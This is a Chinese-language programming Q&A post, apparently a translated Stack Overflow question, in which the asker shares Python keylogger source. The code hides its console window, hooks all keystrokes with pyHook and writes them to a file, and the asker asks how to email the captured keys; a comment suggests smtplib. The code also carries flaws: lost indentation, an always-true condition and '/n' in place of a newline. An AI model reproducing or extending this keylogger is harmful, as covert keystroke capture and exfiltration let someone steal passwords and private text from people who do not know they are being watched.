【发布时间】:2016-09-25 11:42:27
【问题描述】:
我最近创建了一个 python 键盘记录器。代码是:
import win32api
import win32console
import win32gui
import pythoncom,pyHook
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
但是,我希望将此发送到我的电子邮件。你知道我可以添加什么来允许这个,或者一个单独的程序可以做到这一点。
提前致谢
【问题讨论】:
-
此键盘记录代码与发送电子邮件无关。你试过用 Python 发送电子邮件吗?任何类型的电子邮件?带附件?您是否尝试过使用smtplib?将此代码替换为您发送电子邮件的代码。